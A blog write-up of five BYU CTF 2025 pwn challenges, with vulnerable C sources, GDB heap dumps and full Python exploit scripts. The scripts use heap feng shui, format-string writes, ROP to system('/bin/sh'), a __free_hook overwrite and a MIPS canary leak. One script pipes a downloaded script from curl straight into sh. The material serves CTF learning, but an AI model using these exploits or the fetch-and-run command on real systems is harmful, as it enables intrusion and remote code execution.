Logo ✧ Alter ✧
[WRITE UP] - BYU CTF 2025

[WRITE UP] - BYU CTF 2025

May 26, 2025
20 min read
Table of Contents
index

Minecraft Youtuber

Challenge Information

Author
overllama
Category
pwn
Description
Oh boy, I hit a million subscribers on YouTube, what do I do now?
Flag
byuctf{th3_3xpl01t_n4m3_1s_l1t3r4lly_gr00m1ng}

Solution

Souce code

minecraft.c
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>
__attribute__((constructor)) void flush_buf() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
typedef struct {
long uid;
char username[8];
long keycard;
} user_t;
typedef struct {
long mfg_date;
char first[8];
char last[8];
} nametag_t;
long UID = 0x1;
char filename[] = "flag.txt";
user_t* curr_user = NULL;
nametag_t* curr_nametag = NULL;
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
void register_user() {
printf("WELCOME!! We're so excited to have you here! Tell us your username / tag and we'll get you set up with access to the facilities!\n");
curr_user = (user_t*)malloc(sizeof(user_t)); // 0x18 bytes
curr_user->uid = UID++;
printf("Please go ahead an type your username now: \n");
read(0, curr_user->username, 8);
}
void log_out() {
free(curr_user);
curr_user = NULL;
if (curr_nametag != NULL) {
free(curr_nametag);
curr_nametag = NULL;
}
}
int print_menu() {
int choice;
printf("What would you like to do now?\n");
printf("1. Register a new user\n");
printf("2. Learn about the Time Keepers\n");
printf("3. Collect gear\n");
printf("4. Elevate to super user\n");
printf("5. Change characters\n");
printf("6. Leave\n");
// 7 is try to free loki but it's not technically an option, you have to be rebellious to get there
scanf("%d", &choice);
if (choice < 1 || choice > 7) {
printf("Invalid choice. You broke the simulation\n");
return 0;
}
return choice;
}
int main(void) {
init();
srand(time(NULL)); int gear;
printf("Hello! My name is Miss Minutes, and I'll be your helper here at the TVA!!\nHow about we get you oriented first!\nThe only rule is that we under no circumstances can free Loki... he's locked up for a reason!\n");
int input = 1;
while (input) {
switch (input) {
case 1: // register a new user
register_user();
break;
case 2:
printf("The Time Keepers are the three beings who created the TVA and the Sacred Timeline. They are powerful beings who exist at the end of time and are responsible for maintaining the flow of time.\n");
break;
case 3: // collect gear
if (curr_user == NULL) {
printf("You must register a user first!\n");
break;
}
gear = rand() % 5 + 1;
if (curr_nametag != NULL) {
free(curr_nametag);
}
switch (gear) {
case 1:
printf("You have received a Time Twister! This powerful device allows you to manipulate time and space.\n");
break;
case 2:
printf("You have received a Name Tag! Please input your first and last name:\n");
curr_nametag = (nametag_t*)malloc(sizeof(nametag_t));
curr_nametag->mfg_date = (long)time(NULL);
read(0, curr_nametag->first, 8);
read(0, curr_nametag->last, 8);
break;
case 3:
printf("You have received a Time Stick! This device allows you to reset the flow of time in a specific area.\n");
break;
case 4:
printf("You have received a Time Loop! This device allows you to trap someone in a time loop.\n");
break;
case 5:
printf("You have received a Time Bomb! This device allows you to create a temporal explosion.\n");
break;
}
break;
case 4:
if (curr_user == NULL) {
printf("You must register a user first!\n");
break;
}
if (curr_user->uid >= 0x600000) {
printf("Well, everything here checks out! Go ahead and take this key card!\n");
curr_user->keycard = 0x1337;
} else {
printf("Unfortunately, it doesn't look like you have all the qualifications to get your own key card! Stay close to Miss Minutes and she should be able to get you anywhere you need to go...\n");
}
break;
case 5:
if (curr_user == NULL) {
printf("You must register a user first!\n");
break;
}
log_out();
printf("You have been logged out.\n");
printf(". "); sleep(1);
printf(". "); sleep(1);
printf(". \n"); sleep(1);
register_user();
break;
case 6:
input = 0;
break;
case 7:
if (curr_user == NULL) {
printf("You must register a user first!\n");
break;
}
// Uninitialized memory read
if (curr_user->keycard == 0x1337) {
printf("You have freed Loki! In gratitude, he offers you a flag!\n");
FILE* flag = fopen(filename, "r");
if (flag == NULL) {
printf("Flag file not found. Please contact an admin.\n");
return EXIT_FAILURE;
} else {
char ch;
while ((ch = fgetc(flag)) != EOF) {
printf("%c", ch);
}
}
fclose(flag);
exit(0);
break;
} else {
printf("EMERGENCY EMERGENCY UNAUTHORIZED USER HAS TRIED TO FREE LOKI!\n");
printf("Time police rush to the room where you stand in shock. They rush you away, take your gear, and kick you back to your own timeline.\n");
log_out();
input = 0;
break;
}
}
if (input != 0) {
input = print_menu();
}
}
return input;
}

Look at the code above, it pretty long. But we just need to focus on case 7 where we can get the flag if we have the keycard. And there is the bug Uninitialized data use in the code. We can fengshui the heap to get the flag. What I do is just let the program run until it shows us Tag, then create a new nametage which curr_nametag->last is contain the value 0x1337

GDB
0x555555559290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555555592a0 0x0000000000000001 0x000000000a6e776b ........kwn.....
0x5555555592b0 0x0000000000000000 0x0000000000000021 ........!.......
0x5555555592c0 0x000000006833e68f 0x000000000a6e776b ..3h....kwn.....
0x5555555592d0 0x0000000000001337 0x0000000000020d31 7.......1....... <-- Top chunk

You can see that value 0x1337 is in the top chunk, and when you free it it will be there, because malloc just free the chunk 0x20 (include metadata). Then just register_user and get the flag

exploit.py
36 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./minecraft', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
brva 0x171C
brva 0x1462
brva 0x1739
brva 0x147C
brva 0x18B0
brva 0x171C
c
'''
def start(argv=[]):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2])
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(0.5)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv, aslr=False)
# ==================== EXPLOIT ====================
p = start()
ru(b"username now: \n")
sl(b"kwn")
line = b""
while b"Tag" not in line:
ru(b"Leave\n")
sl(b"3")
line = p.recvline()
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()
sl(b'kwn')
sl(p64(0x1337))
sl(b'5')
sla(b'now: \n', b'kwn')
ru(b"Leave\n")
sl(b"7")
interactive()

GOAT

Challenge Information

Author
Legoclones
Category
pwn
Description
To prevent excessive brute forcing for those experiencing a skissue, I made sure to add a PoW.
Flag
byuctf{n0w_y0u're_the_g0at!}

Solution

There many things here but I think we just need to focus on the challenge binary

int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD v4[2]; // [rsp+0h] [rbp-C0h] BYREF
char s1[64]; // [rsp+10h] [rbp-B0h] BYREF
char s[104]; // [rsp+50h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+B8h] [rbp-8h]
v7 = __readfsqword(0x28u);
v4[0] = 1413566279LL;
v4[1] = 0LL;
snprintf(
s,
0x5FuLL,
"Welcome to the %s simulator!\nLet's see if you're the %s...\nWhat's your name? ",
(const char *)v4,
(const char *)v4);
printf(s);
fgets(s1, 32, stdin);
snprintf(s, 0x5FuLL, "Are you sure? You said:\n%s\n", s1);
printf(s);
fgets(s1, 16, stdin);
if ( !strncmp(s1, "no", 2uLL) )
{
puts("\n?? Why would you lie to me about something so stupid?");
}
else
{
snprintf(s1, 0x3FuLL, "\nSorry, you're not the %s...", (const char *)v4);
puts(s1);
}
return 0;
}

There is a Format String Bug here, so we can use that to get the shell. But the program will exit after that, so we need to make a infinite loop to keep the program running. After that leak the address and write our ROP chain to saved RIP using Format String Bug.

exploit.py
72 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
import re
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./goat_patched', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
# b *0x401278
b *0x4012B0
# b *0x40129F
c
'''
def start(argv=[]):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2])
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(0.5)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv)
def solve_pow():
banner = ru(b"solution: ")
log.debug(f"POW banner:\n{banner!r}")
m = re.search(b"sh -s (s\\.[^\\s]+)", banner)
if not m:
raise ValueError("Fail")
salt = m.group(1).decode()
log.info(f"{salt}")
cmd = f"curl -sSfL https://pwn.red/pow | sh -s {salt}"
solution = check_output(["bash", "-lc", cmd]).strip()
log.info(f"{solution!r}")
sl(solution)
def fmt_w(addr, saved_rip):
target1 = addr & 0xffff
payload = f"%{target1-0x18}c%10$hn".encode()
payload = payload.ljust(0x10, b"a")
payload += p64(saved_rip)
sl(payload)
sl("A")
target2 = (addr >> 16) & 0xffff
payload = f"%{target2-0x18}c%10$hn".encode()
payload = payload.ljust(0x10)
payload += p64(saved_rip+2)
sl(payload)
sl("A")
target3 = addr >> 32
payload = f"%{target3-0x18}c%10$hn".encode()
payload = payload.ljust(0x10, b"a")
payload += p64(saved_rip+4)
sl(payload)
sl("A")
# ==================== EXPLOIT ====================
p = start()
solve_pow()
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()
payload = f"%{0x11f0-0x18}c%11$hn".encode() + b"|%31$p" + b"|%30$p"
payload = payload.ljust(0x18, b"a")
payload += p64(exe.got.puts)
sl(payload)
ru(b"|")
address = rl()[:-1].split(b"|")
print(address)
libc.address = int(address[0], 16) - 0x2A1CA
stack = int(address[1][:14], 16)
saved_rip = stack - 0x98
success('libc base @ %#x', libc.address)
success('stack leak @ %#x', stack)
success('saved rip @ %#x', saved_rip)
rop = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = pop_rdi + 1
binsh = next(libc.search(b"/bin/sh\x00"))
fmt_w(pop_rdi, saved_rip)
fmt_w(binsh, saved_rip+8)
fmt_w(ret, saved_rip+16)
fmt_w(libc.sym.system, saved_rip + 24)
payload = f"%{0x133c-0x18}c%10$hn".encode()
payload = payload.ljust(0x10)
payload += p64(exe.got.puts)
sl(payload)
sl("A")
interactive()

Game of Yap

Challenge Information

Author
deltabluejay
Category
pwn
Description
yap yap yap.
Flag
byuctf{heres_your_yap_plus_certification_c13abe01}

Solution

The binary have Buffer Overflow bug and we can use that to call the function that give us a binary address. After that use 0x1243: mov rdi, rsi ; ret ; to control the first argument of printf which can able us to perform some Format String attack

exploit.py
31 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
# context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./game-of-yap_patched', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
brva 0x0123A
c
'''
def start(argv=[]):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2])
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(0.5)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv)
# ==================== EXPLOIT ====================
p = start()
offset = 0x108
payload = b'A'*(offset) + p8(0x80)
sleep(0.5)
sa(b'chance...\n',payload)
exe.address = hexleak(rl()[:-1]) - 0x1210
success(b'pie base @ %#x', exe.address)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()
mov_rdi_rsi = exe.address + 0x1243
payload = b'%27$p'.ljust(offset, b'\0') + p64(mov_rdi_rsi) + p64(exe.plt.printf) + p64(exe.sym.play)
sleep(0.5)
sa(b'try...\n', payload)
libc.address = hexleak(rb(16)) - 0x2a28b
success('libc base @ %#x', libc.address)
rop = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = pop_rdi + 1
payload = b'A'*offset + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))+ p64(libc.sym.system)
sleep(0.5)
s(payload)
interactive()

TCL

Challenge Information

Author
Legoclones
Category
pwn
Description
I created my own Tiny Config Language and even a little parser for it - you should try it out!
Flag
byuctf{ok4y_y34h_th4t_d3fin1t3ly_suck3d}

Solution

This challenge was 1 solved during CTF. And I couldn’t solve it during that time, but luckily, my friend was the one who did first blood on this challenge, and after the CTF he told me there was a way without using Race Conditions. Shout out to @Lieu

Souce code

tcl.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <ctype.h>
#include <pthread.h>
#include <unistd.h>
enum {
TYPE_FLOAT = 0,
TYPE_INT,
TYPE_STRING,
TYPE_BOOL,
};
struct str_object {
char *value;
unsigned int type;
unsigned int refcount;
};
struct int_object {
unsigned long value;
unsigned int type;
unsigned int refcount;
};
struct float_object {
double value;
unsigned int type;
unsigned int refcount;
};
struct bool_object {
unsigned long value;
unsigned int type;
unsigned int refcount;
};
void* objects[100];
__attribute__((constructor)) void flush_buf() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void win() {
system("/bin/sh");
exit(0);
}
int create_string_obj(char *value) {
struct str_object* obj = (struct str_object*)objects[0];
unsigned int i = 0;
// if the object already exists, just increase the refcount
while (obj != NULL) {
if ((obj->type == TYPE_STRING) && (strcmp(obj->value, value) == 0)) {
printf("Added refcount to %s\n", obj->value);
obj->refcount++;
return 0;
}
if (i >= 99) {
puts("object array is full");
return -1;
}
i++;
obj = (struct str_object*)objects[i];
}
// otherwise, create a new object
obj = (struct str_object*)malloc(sizeof(struct str_object));
if (obj == NULL) {
puts("malloc failed");
exit(1);
}
obj->value = strdup(value);
if (obj->value == NULL) {
puts("strdup failed");
exit(1);
}
obj->type = TYPE_STRING;
obj->refcount = 1;
objects[i] = obj;
return 0;
}
int create_int_obj(unsigned long value) {
struct int_object* obj = (struct int_object*)objects[0];
unsigned int i = 0;
// if the object already exists, just increase the refcount
while (obj != NULL) {
if ((obj->type == TYPE_INT) && (obj->value == value)) {
printf("Added refcount to %lu\n", obj->value);
obj->refcount++;
return 0;
}
if (i >= 99) {
puts("object array is full");
return -1;
}
i++;
obj = (struct int_object*)objects[i];
}
// otherwise, create a new object
obj = (struct int_object*)malloc(sizeof(struct int_object));
if (obj == NULL) {
puts("malloc failed");
exit(1);
}
obj->value = value;
obj->type = TYPE_INT;
obj->refcount = 1;
objects[i] = obj;
return 0;
}
int create_float_obj(double value) {
struct float_object* obj = (struct float_object*)objects[0];
unsigned int i = 0;
// if the object already exists, just increase the refcount
while (obj != NULL) {
if ((obj->type == TYPE_FLOAT) && (obj->value == value)) {
printf("Added refcount to %lf\n", obj->value);
obj->refcount++;
return 0;
}
if (i >= 99) {
puts("object array is full");
return -1;
}
i++;
obj = (struct float_object*)objects[i];
}
// otherwise, create a new object
obj = (struct float_object*)malloc(sizeof(struct float_object));
if (obj == NULL) {
puts("malloc failed");
exit(1);
}
obj->value = value;
obj->type = TYPE_FLOAT;
obj->refcount = 1;
objects[i] = obj;
return 0;
}
int create_bool_obj(unsigned long value) {
struct bool_object* obj = (struct bool_object*)objects[0];
unsigned int i = 0;
// if the object already exists, just increase the refcount
while (obj != NULL) {
if ((obj->type == TYPE_BOOL) && (obj->value == value)) {
printf("Added refcount to %lu\n", obj->value);
obj->refcount++;
return 0;
}
if (i >= 99) {
puts("object array is full");
return -1;
}
i++;
obj = (struct bool_object*)objects[i];
}
// otherwise, create a new object
obj = (struct bool_object*)malloc(sizeof(struct bool_object));
if (obj == NULL) {
puts("malloc failed");
exit(1);
}
obj->value = value;
obj->type = TYPE_BOOL;
obj->refcount = 1;
objects[i] = obj;
return 0;
}
void clear_objects() {
for (unsigned int i = 0; i < 100; i++) {
if (objects[i] != NULL) {
// set refcount to 0 for the garbage collector to free
struct str_object* obj = (struct str_object*)objects[i];
obj->refcount = 0;
}
}
}
void parse_tcl() {
char buf[0x100];
bool valid = true;
bool started = false;
while (1) {
// clear the buffer
memset(buf, 0, sizeof(buf));
// we use fgets because it breaks on \n, which means the config line is done
fgets(buf, sizeof(buf), stdin);
// remove the newline character
size_t len = strlen(buf);
if (len > 0 && buf[len - 1] == '\n') {
buf[len - 1] = '\0';
}
// check for empty line
if (strlen(buf) == 0) {
continue;
}
if (started == false) {
// check for the start of the config
if (strcmp(buf, "#START") != 0) {
puts("You need to start with #START");
continue;
}
started = true;
continue;
}
if (strcmp(buf, "#END") == 0) {
break;
}
// check for ' = '
char * delim = strstr(buf, " = ");
if (delim == NULL) {
puts("Invalid line, no ' = ' found");
valid = false;
continue;
}
*delim = '\0'; // replace ' = ' with '\0' to split the string
delim += 3; // move past the ' = '
// at this point, buf contains the key name and delim points to the value
// ensure first character is not a digit
if (isdigit(buf[0])) {
puts("Key name cannot start with a digit");
valid = false;
continue;
}
// check character set in keyname
for (char *p = buf; *p != '\0'; p++) {
if (!isalnum(*p) && *p != '_') {
puts("Key name can only contain alphanumeric characters and underscores");
valid = false;
continue;
}
}
// create an object to store key name
if (create_string_obj(buf) != 0) {
puts("create_string_obj failed");
valid = false;
continue;
}
// CHECK THE VALUE NOW
// inspecting the first character of the value will tell us what type it is
if (isdigit(delim[0])) {
// it's an int or float
char *endptr;
unsigned long value = strtoul(delim, &endptr, 10);
if (*endptr == '.') {
// it's a float
double fvalue = strtod(delim, NULL);
if (create_float_obj(fvalue) != 0) {
puts("create_float_obj failed");
valid = false;
continue;
}
} else {
// it's an int
if (create_int_obj(value) != 0) {
puts("create_int_obj failed");
valid = false;
continue;
}
}
}
else if (delim[0] == 't' || delim[0] == 'f') {
if (strcmp(delim, "true") != 0 && strcmp(delim, "false") != 0) {
puts("Invalid boolean value");
valid = false;
continue;
}
// it's a bool
unsigned long value = (delim[0] == 't') ? 1 : 0;
if (create_bool_obj(value) != 0) {
puts("create_bool_obj failed");
valid = false;
continue;
}
}
else if (delim[0] == '"') {
// it's a string
delim++; // move past the opening quote
char *end = strchr(delim, '"');
if (end == NULL) {
puts("Invalid string value, no closing quote found");
valid = false;
continue;
}
*end = '\0'; // replace closing quote with null terminator
if (create_string_obj(delim) != 0) {
puts("create_string_obj failed");
valid = false;
continue;
}
}
else {
// invalid value type
puts("Invalid value type");
valid = false;
continue;
}
}
// check if the config is valid
if (valid) {
puts("Config is valid");
} else {
puts("Config is invalid");
}
// set the refcount of all objects to 0
clear_objects();
}
void gc() {
unsigned int indexes[100];
unsigned int count = 0;
while (1) {
memset(indexes, 0, sizeof(indexes));
count = 0;
sleep(5);
// store the indexes of all objects with refcount 0
for (unsigned int i = 0; i < 100; i++) {
if (objects[i] != NULL) {
struct str_object* obj = (struct str_object*)objects[i];
if (obj->refcount == 0) {
indexes[count++] = i;
}
}
}
// free them
for (unsigned int i = 0; i < count; i++) {
struct str_object* obj = (struct str_object*)objects[indexes[i]];
if (obj != NULL) {
if (obj->type == TYPE_STRING)
free(obj->value);
free(obj); // Use-After-Free
usleep(5 * 1000); // sleep for 5 milliseconds - we don't want to hog the CPU!
}
}
// set the object pointer to NULL
for (unsigned int i = 0; i < count; i++) {
struct str_object* obj = (struct str_object*)objects[indexes[i]];
// double check refcount is 0 before setting to NULL
if (obj != NULL && obj->refcount == 0) {
objects[indexes[i]] = NULL;
}
}
}
}
int main() {
alarm(60); // set a timeout for the program
printf("%p\n", &alarm);
// spawn garbage collector
pthread_t tid;
pthread_create(&tid, NULL, (void*)gc, NULL);
while (1) {
puts("Enter your TCL file contents below:");
puts("=========================================");
parse_tcl();
}
return 0;
}

The code is quite long but we will pay attention to some key points as follows:

  • There is Use-After-Free in the gc function, this function will run every 5s and it will free any objects that have refcount == 0
  • In the create_string_obj function, strdup will let us customize the size of a malloc chunk through the length of the string

With the idea of ​​triggering malloc_consolidate() to move the chunks in fastbin to unsortedbin, from a singly linked list to a doubly linked list, we will be able to cause Double Free. Below is a demo program for that

demo.c
// gcc -o test test.c -g -no-pie
#include <stdio.h>
#include <stdlib.h>
void main()
{
void *a[10], *b[10];
for (int i = 0; i < 2; i++)
a[i] = malloc(0x18);
for (int i = 2; i < 10; i++)
{
a[i] = malloc(0x18);
b[i] = malloc(0x88);
}
for (int i = 0; i < 2; i++)
free(a[i]);
for (int i = 2; i < 10; i++)
{
free(b[i]);
free(a[i]);
}
}

And once we free all the chunk we have, check bins again and we can see some speical things

GDB
pwndbg> bins
tcachebins
0x20 [ 7]: 0x4055a0 —▸ 0x4054f0 —▸ 0x405440 —▸ 0x405390 —▸ 0x4052e0 —▸ 0x4052c0 —▸ 0x4052a0 ◂— 0
0x90 [ 7]: 0x405720 —▸ 0x405670 —▸ 0x4055c0 —▸ 0x405510 —▸ 0x405460 —▸ 0x4053b0 —▸ 0x405300 ◂— 0
fastbins
0x20: 0x4057a0 ◂— 0
unsortedbin
all: 0x405640 —▸ 0x4056f0 —▸ 0x7ffff7f9cce0 (main_arena+96) ◂— 0x405640 /* '@V@' */
smallbins
empty
largebins
empty

This is done by this code. When the 0x80 chunk consolidates with the top chunk, it continues to check that chunk for the new size with FASTBIN_CONSOLIDATION_THRESHOLD and to make sure that this chunk size is larger, malloc_consolidate() will be called. With that in mind, here is my exploit.

exploit.py
41 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./tcl_patched', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
set resolve-heap-via-heuristic force
set follow-fork-mode parent
b *0x40174F
b *0x4018AC
b *0x400EFA
b *0x400DB3
b *0x400D86
c
'''
def start(argv=[]):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2])
elif args.DOCKER:
p = remote("0", 5004)
sleep(0.5)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv, aslr=False)
def debug():
gdb.attach(p, gdbscript=gdbscript)
pause()
# ==================== EXPLOIT ====================
p = start()
libc.address = hexleak(rl()[:-1]) - libc.sym.alarm
success('libc base @ %#x', libc.address)
ru(b'=========================================\n')
sl(b'#START')
for i in range(8):
chunk = str(i).encode() * 0x87
sl(b'A = "' + chunk + b'"')
sl(b'#END')
sleep(6)
sl(b'#START')
payload = b"B" * 0x27 + b' = "' + b'8' + b'"'
sl(payload)
sl(b"#END")
sleep(6)
48 collapsed lines
'''
0x4f297 execve("/bin/sh", rsp+0x40, environ)
+----------+-----------------------------------------+
| Result | Constraint |
+==========+=========================================+
| SAT | address rsp+0x50 is writable |
+----------+-----------------------------------------+
| SAT | rsp & 0xf == 0 |
+----------+-----------------------------------------+
| UNKNOWN | {"sh", "-c", r12, NULL} is a valid argv |
+----------+-----------------------------------------+
0x4f29e execve("/bin/sh", rsp+0x40, environ)
+----------+-------------------------------------------------------+
| Result | Constraint |
+==========+=======================================================+
| SAT | address rsp+0x50 is writable |
+----------+-------------------------------------------------------+
| SAT | rsp & 0xf == 0 |
+----------+-------------------------------------------------------+
| SAT | rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv |
+----------+-------------------------------------------------------+
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
+----------+------------------------------------------------------+
| Result | Constraint |
+==========+======================================================+
| SAT | address rsp+0x50 is writable |
+----------+------------------------------------------------------+
| SAT | rsp & 0xf == 0 |
+----------+------------------------------------------------------+
| SAT | rcx == NULL || {rcx, rax, r12, NULL} is a valid argv |
+----------+------------------------------------------------------+
0x4f302 execve("/bin/sh", rsp+0x40, environ)
+----------+---------------------------------------------------------------------------------------------+
| Result | Constraint |
+==========+=============================================================================================+
| UNKNOWN | [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv |
+----------+---------------------------------------------------------------------------------------------+
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
+----------+---------------------------------------------------------------------------------------------+
| Result | Constraint |
+==========+=============================================================================================+
| SAT | [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv |
+----------+---------------------------------------------------------------------------------------------+
'''
sl(b'#START')
payload = b"C" * 0x27 + b' = "' + p64(libc.sym.__free_hook-8)[:6] + b'"'
sl(payload)
payload = b"C" * 0x27 + b' = "' + b"Y" * 0x27 + b'"'
sl(payload)
payload = b"C" * 0x27 + b' = "' + b"A" * 8 + p64(libc.address + 0x10a2fc)[:6] + b'"'
sl(payload)
sl(b"#END")
sleep(6)
interactive()

MIPS

Challenge Information

Author
Legoclones
Category
pwn
Description
Pwn mains need to learn more about other architectures.
Flag
byuctf{h0p3_y0u_d1dnt_h4v3_un1c0rn_2.1.3_cuz_M1PS_s3gf4ultz_th3r3}

Solution

This challenge is not too hard, but this is the first time I have to deal with MIPS architecture, so I have to learn a bit about it. First we need to setup the environment for it. Following these step:

  • Build the docker image to get libc and ld
  • Create a rootfs folder to store the libc and ld files
  • Execute the binary using: qemu-mipsel -L rootfs ./mips

If you want to debug with gdb you can use qemu-mipsel -L rootfs -g 1234 ./mips and then connect to it with gdb-multiarch using target remote localhost:1234. And the idea to pwn this challenge is leak the canary, and ret2win. In mips architecture, the canary value address is stored in __stack_chk_fail function, that’s the idea to leak the canary value. After that, we can use ret2win to call the win function.

exploit.py
19 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
# context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./mips_patched', checksec=False)
libc = exe.libc
def start(argv=[]):
if args.GDB:
return process(["qemu-mipsel","-g","5000", "-L", "./rootfs", exe.path])
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2])
else:
return process(["qemu-mipsel", "-L", "./rootfs", exe.path])
# ==================== EXPLOIT ====================
p = start()
win = 0x0400964
__stack_chk_guard = 0x0420060
# Leak canary address
sla(b'> ', b'1')
sla(b'read from: ', str(hex(__stack_chk_guard)).encode())
canary_address = int(rl()[:-1], 16)
success('canary address @ %#x', canary_address)
# Leak canary value
sla(b'> ', b'1')
sla(b'read from: ', str(hex(canary_address)).encode())
canary = int(rl()[:-1], 16)
success('canary @ %#x', canary)
sla(b'> ', b'2')
sla(b'name:\n', b'A'*0x10 + p32(canary) + p32(0) + p32(win))
interactive()